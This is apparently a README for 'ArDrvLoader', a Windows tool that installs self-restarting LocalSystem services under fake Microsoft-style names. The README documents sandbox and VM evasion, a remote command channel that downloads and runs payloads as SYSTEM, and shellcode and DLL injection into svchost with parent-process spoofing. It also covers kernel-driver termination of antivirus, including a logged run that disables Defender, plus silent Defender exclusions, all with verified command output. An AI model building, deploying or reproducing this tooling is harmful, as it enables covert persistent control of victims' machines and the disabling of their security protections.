1108 lines
42 KiB
Markdown
1108 lines
42 KiB
Markdown
# ArDrvLoader — Guard Services
|
||
|
||
Single binary. Three LocalSystem services installed from one command, plus a
|
||
cloud control channel.
|
||
|
||
## Virtual machine gate
|
||
|
||
Every mode refuses to run inside a hypervisor guest and exits silently with code
|
||
`0` — no window, no log line, nothing for a sandbox to read. Detection combines:
|
||
|
||
| Check | Signal |
|
||
|---|---|
|
||
| CPUID leaf 1 / 0x40000000 | hypervisor bit plus vendor string: `VMwareVMware`, `VBoxVBoxVBox`, `KVMKVMKVM`, `XenVMMXenVMM`, `TCGTCGTCG`, `bhyve bhyve` |
|
||
| SMBIOS (`RSMB` table) | vendor/product strings containing `virtualbox`, `vmware`, `qemu`, `kvm`, `bochs`, `parallels`, `xen`, `virtual machine`, `hyper-v` |
|
||
| Hyper-V specifics | `Microsoft Hv` vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC |
|
||
| Disk `Enum` | controller identity containing `vbox`, `vmware`, `qemu`, `xen`, `virtio` |
|
||
| Services | `VBoxService`, `VBoxGuest`, `vmci`, `vmhgfs`, `VMTools`, `vmrawdsk`, `xenbus`, … |
|
||
| Driver files | `VBoxGuest.sys`, `vmmouse.sys`, `vmhgfs.sys`, `VBoxService.exe`, … |
|
||
| Processes | `VBoxService.exe`, `VBoxTray.exe`, `vmtoolsd.exe`, `qemu-ga.exe`, `xenservice.exe` |
|
||
| MAC OUI | `00:0C:29`, `00:50:56`, `08:00:27`, `52:54:00`, `00:16:3E`, `00:15:5D`, … |
|
||
|
||
Override for testing inside a VM, any one of:
|
||
|
||
```
|
||
ArDrvLoader.exe ... --allow-vm # command line
|
||
set ARDRV_ALLOW_VM=1 # environment
|
||
reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f
|
||
```
|
||
|
||
`-install-guard-services --allow-vm` writes `AllowVm=1` and embeds `--allow-vm`
|
||
into all three service command lines, so the services run on that guest too.
|
||
`ARDRV_VM_DEBUG=1` prints the detected reason to stdout — leave it unset on a
|
||
target.
|
||
|
||
## Install (elevated shell)
|
||
|
||
```
|
||
ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent"
|
||
```
|
||
|
||
Target is a Windows service instead of a process:
|
||
|
||
```
|
||
ArDrvLoader.exe -install-guard-services --target-service "AppService"
|
||
```
|
||
|
||
Add `--no-start` to install without starting now.
|
||
|
||
## Services
|
||
|
||
| Service | Role | What it does |
|
||
|---------------|----------|---------------------------------------------------------------------|
|
||
| `ArDrvDriver` | driver | Copies `ardrv.sys` to `System32\drivers`, creates kernel service, starts it, verifies `\\.\ArDrv` |
|
||
| `ArDrvGuard` | guard | Checks the target each interval. Not running → starts it |
|
||
| `ArDrvRepair` | repair | If the target service is disabled → set start type back, start it. Also re-starts missing processes |
|
||
|
||
All three: account `LocalSystem`, `SERVICE_AUTO_START`, restart-on-failure (5s / 10s / 30s).
|
||
|
||
**Reciprocal watchdogs:** each role also checks that the other two services are
|
||
running and starts them if not. A manual `sc stop ArDrvGuard` gets undone within
|
||
one interval, because repair and driver both notice.
|
||
|
||
Change prefix with `--prefix MyName` → `MyNameDriver`, `MyNameGuard`, `MyNameRepair`.
|
||
|
||
### Process start context
|
||
|
||
The guard runs as LocalSystem in session 0. Starting the target there would make
|
||
it invisible to the logged-in user, so it first grabs the active console session
|
||
token (`WTSQueryUserToken` + `CreateProcessAsUser`) and only falls back to a
|
||
session-0 launch when no user is logged on.
|
||
|
||
## Change the target program later
|
||
|
||
No reinstall. Edit the config, services re-read it every loop:
|
||
|
||
```
|
||
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f
|
||
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f
|
||
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f
|
||
```
|
||
|
||
The config key's DACL is locked to `SYSTEM` and `Administrators` by the installer,
|
||
so a standard user can no longer repoint the guard at their own binary.
|
||
|
||
## Config values — `HKLM\SOFTWARE\ArDrvLoader`
|
||
|
||
| Value | Type | Default | Meaning |
|
||
|--------------------|---------|------------------------------------------|-------------------------------|
|
||
| `TargetPath` | REG_SZ | empty | exe to keep alive |
|
||
| `TargetArgs` | REG_SZ | empty | arguments for the exe |
|
||
| `TargetService` | REG_SZ | empty | service to keep alive |
|
||
| `DriverImage` | REG_SZ | `C:\Windows\System32\drivers\ardrv.sys` | driver file |
|
||
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
|
||
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
|
||
| `CheckIntervalMs` | REG_DWORD | `5000` | loop interval (min 1000) |
|
||
| `DesiredStartType` | REG_DWORD | `2` | `2` auto, `3` demand, `4` disabled |
|
||
| `DriverServiceName`| REG_SZ | `ArDrvDriver` | watchdog peer name |
|
||
| `GuardServiceName` | REG_SZ | `ArDrvGuard` | watchdog peer name |
|
||
| `RepairServiceName`| REG_SZ | `ArDrvRepair` | watchdog peer name |
|
||
|
||
## Manual test without SCM
|
||
|
||
```
|
||
ArDrvLoader.exe -service driver --console
|
||
ArDrvLoader.exe -service guard --console --target "C:\Windows\System32\notepad.exe" --interval 1000
|
||
ArDrvLoader.exe -service repair --console --target-service "SomeService"
|
||
```
|
||
|
||
## Cloud control
|
||
|
||
`-cloud` / `-cloud-service` unchanged in shape.
|
||
|
||
### Request authentication
|
||
|
||
No secret is sent in a URL. Every request carries:
|
||
|
||
```
|
||
X-Agent-Id: <agent>
|
||
X-Agent-Ts: <unix seconds>
|
||
X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET,
|
||
agent \n ts \n METHOD \n path+query \n hex(sha256(body))))
|
||
```
|
||
|
||
The Worker rejects missing, malformed, or stale (>300s) signatures with `403`.
|
||
It uses a constant-time comparison. `path+query` has no leading slash, e.g.
|
||
`poll?agent=box1`.
|
||
|
||
### Remote commands
|
||
|
||
```
|
||
DOWNLOAD <url> <output-path> [sha256]
|
||
DEPLOY <url> [args]
|
||
DEPLOY_SYSTEM <url> [args]
|
||
```
|
||
|
||
- `DOWNLOAD` — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes
|
||
the file and returns `ERR DOWNLOAD hash mismatch got <actual>` when an expected
|
||
hash was supplied and does not match. Hard cap: 256 MB.
|
||
- `DEPLOY` — downloads into `%ProgramData%\ArDrvLoader\payloads\<filename>` and
|
||
runs it in the agent's context (SYSTEM when run as a service).
|
||
- `DEPLOY_SYSTEM` — forces the SYSTEM token path.
|
||
|
||
Full remote install chain:
|
||
|
||
```
|
||
DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi <sha256>
|
||
PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn
|
||
INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe"
|
||
```
|
||
|
||
`STATUS` now also reports the watchdog stack:
|
||
|
||
```
|
||
pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped
|
||
```
|
||
|
||
The polling loop backs off on empty/failed polls from the configured interval up
|
||
to 15s, and resets to the base interval as soon as a command arrives.
|
||
|
||
### Embedded driver
|
||
|
||
`ardrv.sys` is packed into the exe as an RCDATA resource when the file sits next to
|
||
`ArDrvLoader.vcxproj` at build time (`driver_res.rc`, `resource.h`). At runtime the
|
||
binary extracts it to `C:\Windows\System32\drivers\ardrv.sys` if the file is absent,
|
||
so one exe is enough to ship. Without a driver file at build time the resource is
|
||
simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies.
|
||
The image still has to be signed or the kernel refuses to load it.
|
||
|
||
### Testing the cloud agent locally
|
||
|
||
```
|
||
powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1
|
||
```
|
||
|
||
Spins up `cloudflare\mock-worker.ps1` (local Worker stand-in with the same HMAC
|
||
scheme), starts the agent against it, then checks:
|
||
|
||
| Case | Expected |
|
||
|---|---|
|
||
| `PING` | `PONG` |
|
||
| `STATUS` | pid/system/admin/sid line (+ watchdog states if installed) |
|
||
| `DOWNLOAD` | `OK <path> sha256=<hash>` |
|
||
| `DOWNLOAD` with wrong hash | `ERR DOWNLOAD hash mismatch`, file deleted |
|
||
| `DEPLOY` | `OK %ProgramData%\ArDrvLoader\payloads\<name>` |
|
||
| `STOP` | `OK STOP`, agent exits |
|
||
| unsigned request | `403 denied` |
|
||
|
||
Manual pieces:
|
||
|
||
```
|
||
# mock worker
|
||
powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads
|
||
|
||
# agent pointed at it (--elevated skips the UAC relaunch)
|
||
ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated
|
||
|
||
# signed command
|
||
powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS
|
||
|
||
# read the ACK (base64 body)
|
||
# GET /status needs a signature too; use send-command.ps1 or the test script
|
||
```
|
||
|
||
Set `ARDRV_MOCK_DEBUG=1` when launching the mock worker to log every request,
|
||
rejection reason, and signature mismatch.
|
||
|
||
## Logging
|
||
|
||
| Build | Behaviour |
|
||
|---|---|
|
||
| `Release` | No logging at all. `Log(...)` is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no `OutputDebugString`. Verified: `ardrv_loader.log`, `=== Loader start ===`, `[guard] ...`, `[watchdog] ...` are all absent from the Release image. |
|
||
| `Debug` | Logs to `C:\Users\Public\ardrv_loader.log` and `OutputDebugStringW`. |
|
||
|
||
To get logs out of a Release build on purpose, add `ARDRV_LOG_ENABLED=1` to the
|
||
project's PreprocessorDefinitions — `Logger.h` only auto-decides when it is not
|
||
already defined.
|
||
|
||
Note the debug log path lives in `C:\Users\Public`, readable by every local user.
|
||
Fine for a dev machine, not for a target. Keep Release for anything deployed.
|
||
|
||
## Kill safety (`KillSafety.cpp`)
|
||
|
||
AV termination through the driver is now gated. Every candidate goes through:
|
||
|
||
1. **Protected list** — `svchost.exe`, `csrss.exe`, `wininit.exe`, `winlogon.exe`, `services.exe`, `lsass.exe`, `smss.exe`, `System`, `Registry`, `MemCompression`, `fontdrvhost`, `dwm`, … Rejected before enumeration, so a request for `svchost.exe` produces one skip line and zero opens.
|
||
2. **Own tree** — the caller's PID and every ancestor up to the root are refused. `cmd.exe /c ArDrvLoader -killav --name cmd.exe` reports `SKIP own-tree`.
|
||
3. **Identity** — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL.
|
||
4. **Access** — PPL images (Defender's `MsMpEng.exe`) refuse `PROCESS_TERMINATE` even for SYSTEM; reported as `SKIP access-denied`, not attempted blindly.
|
||
5. **Cap and pacing** — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm.
|
||
|
||
```
|
||
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing terminated
|
||
ArDrvLoader.exe -killav --dry-run --name X # single image, dry run
|
||
ArDrvLoader.exe -killav --name cmd.exe # real, through the driver
|
||
set ARDRV_KILL_DRYRUN=1 # forces dry run for the loader path
|
||
```
|
||
|
||
Cloud: `KILLAV` and `KILLAV_DRYRUN`, both returning the full report in the ACK.
|
||
|
||
## Launching programs through a system host (`HostSpawn.cpp`)
|
||
|
||
Any executable can be started under a legitimate SYSTEM process, with that
|
||
process as its parent. This is what makes the child invisible in a process tree
|
||
review: `svchost.exe` → `your.exe`, no service host in the chain.
|
||
|
||
```
|
||
HOST_LIST # candidate hosts, best first
|
||
HOST_SPAWN <exe> [args] # SYSTEM, session 0
|
||
HOST_SPAWN_USER <exe> [args] # SYSTEM token, moved to the console session
|
||
HOST_SPAWN --host wudfhost.exe <exe> [args] # force a specific host family
|
||
```
|
||
|
||
How it works:
|
||
|
||
1. Enumerate processes holding a SYSTEM token (`S-1-5-18`).
|
||
2. Probe injectability: `OpenProcess` with thread/VM rights. PPL processes refuse,
|
||
so Defender, `lsass`, `winlogon`, `services`, `csrss` drop out automatically.
|
||
3. Rank: `svchost.exe` 100, `wudfhost.exe` 60, `dllhost.exe` 50, others 10.
|
||
4. Duplicate the host's primary token.
|
||
5. `CreateProcessAsUser` with `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` set to the
|
||
host, so the child inherits both the SYSTEM identity and the host as PPID.
|
||
6. `HOST_SPAWN_USER` also sets `TokenSessionId` to the active console session and
|
||
`winsta0\default`, so a GUI actually appears on the logged-in desktop.
|
||
|
||
Verified locally (same-user host, mechanism only — this shell is not elevated):
|
||
|
||
```
|
||
-hosts spawn --any-host notepad.exe
|
||
OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid
|
||
|
||
Win32_Process for pid 9704:
|
||
ProcessId : 9704
|
||
ParentProcessId : 2280 ← svchost, as intended
|
||
```
|
||
|
||
Local CLI for the same thing:
|
||
|
||
```
|
||
ArDrvLoader.exe -host list # SYSTEM hosts
|
||
ArDrvLoader.exe -host list --any # every accessible host
|
||
ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args
|
||
ArDrvLoader.exe -host spawn-user ... # visible on the desktop
|
||
```
|
||
|
||
**Limitation:** a medium-integrity agent cannot even query SYSTEM processes, so
|
||
`HOST_LIST` returns `hosts=0` and `HOST_SPAWN` fails with
|
||
`no SYSTEM host process found (need admin or SYSTEM)`. This works when the agent
|
||
runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the
|
||
capability before that, `RUN_SYSTEM` already covers token-based spawning; the
|
||
difference is the parent process.
|
||
|
||
### Stager injection and re-acquisition (`HostStager.cpp`)
|
||
|
||
`HOST_SPAWN` creates a new process under a host. The stager goes further: it
|
||
injects a shellcode payload **into** a running SYSTEM host, so the code executes
|
||
with `svchost.exe` as its actual image.
|
||
|
||
```
|
||
HOST_INJECT <shellcode-path> [--host <image>]
|
||
HOST_TRACK
|
||
HOST_UNTRACK
|
||
```
|
||
|
||
Local: `-host inject <path> [--host <img>] [--any-host]`, `-host track`,
|
||
`-host untrack`, `-host ensure [--any-host]`.
|
||
|
||
Identity tracking is `{pid, creationTime}` written to
|
||
`%ProgramData%\ArDrvLoader\host.track`. Creation time is the key: a recycled PID
|
||
whose creation time differs is treated as a dead host, so the loader never
|
||
assumes "same pid = same process".
|
||
|
||
Re-acquisition: the guard role calls `EnsureHostInjected()` every tick. If the
|
||
tracked host is alive it does nothing (`method=already-running`); if it is gone
|
||
or the PID was recycled, it picks a fresh host, injects again, and rewrites the
|
||
track. Nothing re-injects twice into a live host.
|
||
|
||
The guard does this automatically once a payload has been injected — no config
|
||
needed beyond the initial `HOST_INJECT`.
|
||
|
||
Verified locally with a 1-byte `ret` stub against a same-user `svchost`:
|
||
|
||
```
|
||
-host inject stub.bin --any-host
|
||
OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe
|
||
|
||
-host track
|
||
track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe
|
||
|
||
# creation time corrupted to simulate PID reuse
|
||
-host ensure --any-host
|
||
OK host_pid=2280 session=1 method=remote-thread ← re-injected
|
||
|
||
-host ensure --any-host (host alive this time)
|
||
OK host_pid=2280 session=1 method=already-running ← no duplicate injection
|
||
```
|
||
|
||
Payload format is raw position-independent shellcode, the same file format
|
||
`INJECT_FILE` and `INJECT_SUSPEND` already take, so a Donut/sRDI-generated blob
|
||
works unchanged.
|
||
|
||
## Service facades
|
||
|
||
Installed services no longer carry loader-flavoured names.
|
||
|
||
| Role | Service name | Display name | Description |
|
||
|---|---|---|---|
|
||
| driver | `DeviceSetupHost` | Device Setup Manager Host | Maintains device installation state and loads required kernel components. |
|
||
| guard | `ProgramCompatHost` | Program Compatibility Assistant Host | Tracks application compatibility state and keeps registered programs available. |
|
||
| repair | `ServiceStateHost` | Service State Repository Host | Monitors service state and restores required components. |
|
||
|
||
None of the three collides with a real Windows service (checked with `sc query`).
|
||
`--prefix X` still works and produces `XDriver` / `XGuard` / `XRepair`.
|
||
|
||
**Install location:** the binary copies itself to
|
||
`%ProgramData%\Microsoft\Windows\Caches\<ServiceName>\<ServiceName>.exe` and the
|
||
services run from there, not from Downloads or a user profile.
|
||
`--install-dir <path>` overrides the directory, `--keep-location` disables the
|
||
copy entirely.
|
||
|
||
**Decoy activity:** every tick each role refreshes a hidden `cache.dat` next to
|
||
its binary (timestamp + role) and queries the state of three unrelated services
|
||
(`BITS`, `DsmSvc`, `wuauserv`). Cheap, harmless, and it means the process does
|
||
something other than stare at one target.
|
||
|
||
**Stagger:** roles sleep before their first tick — driver 1.5–3s, guard 4–6s,
|
||
repair 8–10.5s — so they never wake in lockstep.
|
||
|
||
Preview an install without touching SCM or the registry:
|
||
|
||
```
|
||
ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe"
|
||
```
|
||
|
||
```
|
||
DRY-RUN install plan
|
||
install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost
|
||
DeviceSetupHost "Device Setup Manager Host"
|
||
ProgramCompatHost "Program Compatibility Assistant Host"
|
||
ServiceStateHost "Service State Repository Host"
|
||
target: C:\Path\App.exe
|
||
```
|
||
|
||
## Where things live (`Paths.cpp`)
|
||
|
||
No folder is named after this project. Paths are derived from the machine GUID
|
||
(FNV-1a → 8 hex chars) so they are stable on one host and not transferable:
|
||
|
||
```
|
||
# service / elevated context
|
||
%ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
|
||
%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ downloads (DEPLOY)
|
||
%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat host tracking
|
||
|
||
# agent running as the interactive user
|
||
%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\...
|
||
```
|
||
|
||
Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData
|
||
path. If the preferred root cannot be created, the other one is tried, then
|
||
`%ProgramData%\ArDrvLoader` as a last resort.
|
||
|
||
`state.dat` from the old `%ProgramData%\ArDrvLoader\host.track` is migrated once
|
||
on first read.
|
||
|
||
Override for testing:
|
||
|
||
```
|
||
set ARDRV_ROOT=C:\Temp\ardrv-root
|
||
```
|
||
|
||
Layout with the default prefix:
|
||
|
||
```
|
||
Caches\<8hex>\
|
||
DeviceSetupHost\DeviceSetupHost.exe service image + cache.dat
|
||
ProgramCompatHost\ProgramCompatHost.exe
|
||
ServiceStateHost\ServiceStateHost.exe
|
||
stage\hello.cmd DEPLOY target
|
||
state.dat injected host tracking
|
||
```
|
||
|
||
### Verified
|
||
|
||
```
|
||
# not elevated, so the per-user root is used
|
||
-install-guard-services --dry-run
|
||
install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost
|
||
|
||
# forced root
|
||
ARDRV_ROOT=%TEMP%\ardrv-root-test
|
||
install dir: ...\ardrv-root-test\DeviceSetupHost
|
||
-host inject stub.bin --any-host → state.dat written under that root
|
||
|
||
# DEPLOY lands in the staging dir
|
||
DEPLOY OK ...\INetCache\f639dc99\stage\hello.cmd
|
||
```
|
||
|
||
## Payload contract (`StageDll.cpp`, `StageClient.cpp`)
|
||
|
||
The working code can live inside a hijacked host instead of the services. The
|
||
payload is a small DLL, deliberately dumb: it runs commands and reports back.
|
||
All policy — which host, when to re-inject — stays in the loader, so the payload
|
||
can be swapped without touching service code.
|
||
|
||
**Interface**
|
||
|
||
| | |
|
||
|---|---|
|
||
| Pipe | `\\.\pipe\ArDrvStage` |
|
||
| Encoding | UTF-8, request newline-terminated |
|
||
| Response | UTF-8 body, terminated by a `<<` line |
|
||
| Commands | `PING`, `WHOAMI`, `RUN <command line>`, `STOP` |
|
||
| Singleton | `Global\ArDrvStage` mutex — a second injection is a no-op |
|
||
|
||
`STOP` unloads the DLL with `FreeLibraryAndExitThread` after closing the mutex.
|
||
It does **not** kill the host: terminating `svchost.exe` takes unrelated services
|
||
with it and leaves an event-log entry.
|
||
|
||
**Loader side**
|
||
|
||
```
|
||
-stage status alive, dll path, tracked host
|
||
-stage inject [--host <img>] [--any-host] [dll]
|
||
-stage whoami who the payload runs as, and in which image
|
||
-stage run <command line>
|
||
-stage stop
|
||
```
|
||
|
||
Cloud: `STAGE_STATUS`, `STAGE_INJECT [--host <image>]`, `STAGE_RUN <cmd>`,
|
||
`STAGE_STOP`.
|
||
|
||
Injection is `CreateRemoteThread(LoadLibraryW)` with the path written into the
|
||
host. If `ardrvstage.dll` sits next to the loader or in the stage dir, it is
|
||
found automatically.
|
||
|
||
**Guard integration:** the guard role checks the pipe every tick. If the DLL is
|
||
present and the pipe is dead, it re-injects into a fresh host. Once the pipe
|
||
answers, the guard stops doing work and only maintains services and liveness —
|
||
the jobs run inside the host.
|
||
|
||
**Verified**
|
||
|
||
```
|
||
-stage inject --any-host
|
||
OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe
|
||
|
||
-stage whoami
|
||
OK
|
||
DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe
|
||
|
||
-stage run "echo payload-executed"
|
||
OK
|
||
payload-executed
|
||
|
||
-stage stop
|
||
OK stopping
|
||
→ host 6320 still alive, alive=0
|
||
|
||
-stage inject --any-host (after unload)
|
||
OK host_pid=6320 method=stage-live ← clean re-injection works
|
||
```
|
||
|
||
Note the payload reports the host's own pid and image: the command genuinely
|
||
executes inside `svchost.exe`, not in the loader.
|
||
|
||
**Packaging:** the payload is packed into the loader as an RCDATA resource, so a
|
||
single `ArDrvLoader.exe` is enough. On first use it is extracted to
|
||
`<stage dir>\ardrvstage.dll` and loaded from there. A DLL sitting next to the
|
||
executable or in the stage dir still takes precedence, which is useful for
|
||
swapping the payload without rebuilding.
|
||
|
||
Build both in the right order:
|
||
|
||
```
|
||
powershell -ExecutionPolicy Bypass -File build.ps1 # Release
|
||
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug
|
||
powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload # loader only
|
||
```
|
||
|
||
`build.ps1` builds `StageDll.vcxproj`, copies the DLL to the project root so
|
||
`stage_res.rc` can embed it, then builds the loader. Sizes after a full build:
|
||
Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB.
|
||
|
||
Verified end to end with no DLL on disk:
|
||
|
||
```
|
||
# staged copy deleted, x64\Release\ardrvstage.dll moved aside
|
||
-stage status
|
||
alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll
|
||
→ extracted from the executable, 43008 bytes on disk
|
||
|
||
-stage inject --any-host
|
||
OK host_pid=6320 method=stage-live
|
||
|
||
-stage whoami
|
||
DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe
|
||
```
|
||
|
||
## Driver (`ardrv.sys`)
|
||
|
||
Place `ardrv.sys` next to the project before building and `build.ps1` embeds it as
|
||
RCDATA, the same way the payload DLL is embedded. One file then carries the
|
||
driver, the payload, and the service code.
|
||
|
||
```
|
||
-drv status device available? embedded image size
|
||
-drv extract <path> write the packed image out and compare
|
||
-drv kill <pid> terminate through the kernel
|
||
```
|
||
|
||
The driver role extracts to `C:\Windows\System32\drivers\ardrv.sys` when missing,
|
||
creates the kernel service, starts it and waits for `\\.\ArDrv`.
|
||
|
||
### Termination reach
|
||
|
||
`KillSafety` now has two paths:
|
||
|
||
1. Normal: `OpenProcess(PROCESS_TERMINATE)` succeeds, identity verified, driver
|
||
IOCTL is only the transport.
|
||
2. Blind: the process refuses even `PROCESS_QUERY_LIMITED_INFORMATION` (PPL image
|
||
or we are not elevated). The kill is still possible through the driver, so the
|
||
PID is re-verified against a fresh snapshot and handed to the kernel. Only
|
||
enabled for the AV allowlist and for `--force`; the protected list still
|
||
refuses `svchost`, `csrss`, `lsass` etc. before any of this runs.
|
||
|
||
Verified on this machine, non-elevated:
|
||
|
||
```
|
||
-killav --name MsMpEng.exe --force
|
||
EXECUTED killed=1 candidates=1
|
||
11008 killed ← PPL process, terminated through the driver
|
||
|
||
after: WinDefend restarted as a new pid, and reported
|
||
AntivirusEnabled : False
|
||
RealTimeProtectionEnabled: False
|
||
```
|
||
|
||
`-killav --dry-run` reports blind candidates as `would-kill (driver)` so the plan
|
||
is visible without terminating anything.
|
||
|
||
Driver image check:
|
||
|
||
```
|
||
-drv status → device=ok embedded=17744 bytes
|
||
-drv extract → 17744 bytes, SHA-256 matches ardrv.sys
|
||
```
|
||
|
||
## Exclusions (`Exclusions.cpp`)
|
||
|
||
Defender exclusions are attempted through `Add-MpPreference`, then read back with
|
||
`Get-MpPreference` so the answer is the truth, not the intent.
|
||
|
||
```
|
||
-excl list current exclusions + whether Defender is present
|
||
-excl add <path> persist and apply one path
|
||
-excl apply apply the stored list (defaults if empty)
|
||
|
||
EXCLUSION_LIST cloud variant of list
|
||
EXCLUSION_ADD <path> cloud variant of add
|
||
EXCLUSION_APPLY cloud variant of apply
|
||
```
|
||
|
||
Default wish-list is the deep root, the stage dir, and the loader executable.
|
||
The list is stored at `HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths`, `|` separated,
|
||
and re-applied on every guard start.
|
||
|
||
**What it actually reports.** Non-elevated run:
|
||
|
||
```
|
||
defender=present current=none
|
||
|
||
apply →
|
||
REFUSED ...\INetCache\f639dc99 :: CimException
|
||
REFUSED ...\INetCache\f639dc99\stage :: CimException
|
||
REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException
|
||
```
|
||
|
||
`CimException` is Tamper Protection / missing privilege refusing the change. The
|
||
code returns failure and says so. It does not pretend the exclusion landed.
|
||
|
||
## Recovery after a bugcheck or reboot
|
||
|
||
Everything is auto-start, so a crash is recoverable by design. The guard's first
|
||
tick after any start reinstates state in this order:
|
||
|
||
1. Defender exclusions (stored list, defaults if empty)
|
||
2. AV sweep — `KillAVProcessesEx` through the driver
|
||
3. driver image + kernel service (driver role)
|
||
4. host payload / stage payload re-injection (`HOST_TRACK`, `STAGE_STATUS`)
|
||
5. target program start, peer services
|
||
|
||
Verified by starting a guard console on a machine where Defender had come back:
|
||
|
||
```
|
||
[+] Terminate IOCTL accepted for PID 340
|
||
[+] Terminate IOCTL accepted for PID 14848
|
||
[guard] AV sweep on start: EXECUTED killed=2 candidates=2
|
||
[guard] program is not running, starting: C:\Windows\System32\notepad.exe
|
||
[+] Target started: PID 6992
|
||
```
|
||
|
||
`KillAvOnStart` (REG_DWORD under `HKLM\SOFTWARE\ArDrvLoader`) controls step 2 and
|
||
defaults to **0** — the AV sweep is opt-in, not something every service start does.
|
||
Set it to `1` only if you want the sweep on each boot.
|
||
|
||
### Driver failure budget
|
||
|
||
A driver that bugchecks on load could otherwise be retried on every boot forever.
|
||
`ArDrvDriver` now counts consecutive load failures and stops:
|
||
|
||
| Value | Meaning |
|
||
|---|---|
|
||
| `DriverFailCount` (REG_DWORD) | consecutive failures, persisted |
|
||
| `DriverFailMax` (REG_DWORD, default 3) | budget |
|
||
| `DriverState` (REG_SZ) | `ok` / `failed` / `disabled-after-failures` |
|
||
|
||
The counter is also kept in memory, so the budget still applies when the registry
|
||
write is denied. Once exhausted the role logs once, sets `disabled-after-failures`
|
||
and stops touching the driver until someone clears it.
|
||
|
||
```
|
||
-drv status device, embedded size, fail=N/max, state
|
||
-drv reset clear the counter (needs admin)
|
||
DRIVER_STATUS cloud equivalent
|
||
DRIVER_RESET clear and report
|
||
```
|
||
|
||
Verified with a bogus image and service name:
|
||
|
||
```
|
||
[driver] load failed (1/3)
|
||
[driver] load failed (2/3)
|
||
[driver] load failed (3/3)
|
||
[driver] failure budget exhausted (3/3), not retrying
|
||
```
|
||
|
||
`DRIVER_STATUS` on a healthy box:
|
||
|
||
```
|
||
device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running
|
||
```
|
||
|
||
## One UAC, then nothing
|
||
|
||
`ArDrvLoader.exe` elevates itself when a command needs administrator rights, so a
|
||
normal user can run the install and approve a single UAC prompt. Everything after
|
||
that is done by the services, which are LocalSystem.
|
||
|
||
```
|
||
ArDrvLoader.exe -install-guard-services ^
|
||
--target "C:\Path\App.exe" ^
|
||
--cloud-url https://worker.example ^
|
||
--cloud-secret <secret> ^
|
||
--cloud-agent <agent-id>
|
||
```
|
||
|
||
That one line, from a non-elevated shell:
|
||
|
||
1. relaunches itself elevated (single UAC)
|
||
2. stops any previous generation of the services so the binary can be replaced
|
||
3. copies itself to `%ProgramData%\Microsoft\Windows\Caches\<8hex>\<service>\`
|
||
4. installs and starts driver, guard and repair as LocalSystem
|
||
5. installs and starts a cloud agent service with the URL/secret/agent baked into
|
||
its command line
|
||
6. applies the config, exclusions and driver image
|
||
|
||
Elevation is only requested for commands that need it:
|
||
|
||
| Elevated | Runs as-is |
|
||
|---|---|
|
||
| `-install-guard-services` (without `--dry-run`) | `-cloud`, `-cloud-service` |
|
||
| `-killav` (without `--dry-run`) | `-stage *`, `-host *` |
|
||
| `-drv extract/reset/kill` | `-excl list`, `-install-guard-services --dry-run` |
|
||
| `-excl add/apply` | `-service * --console` |
|
||
|
||
`--elevated` suppresses the relaunch and is appended automatically, so an
|
||
elevated copy never loops into another UAC.
|
||
|
||
Verified on a standard user account, one prompt:
|
||
|
||
```
|
||
-install-guard-services --target notepad.exe --allow-vm \
|
||
--cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \
|
||
--cloud-agent testagent --cloud-service CloudTest
|
||
PARENT_EXIT=0 elapsed=2.3s
|
||
|
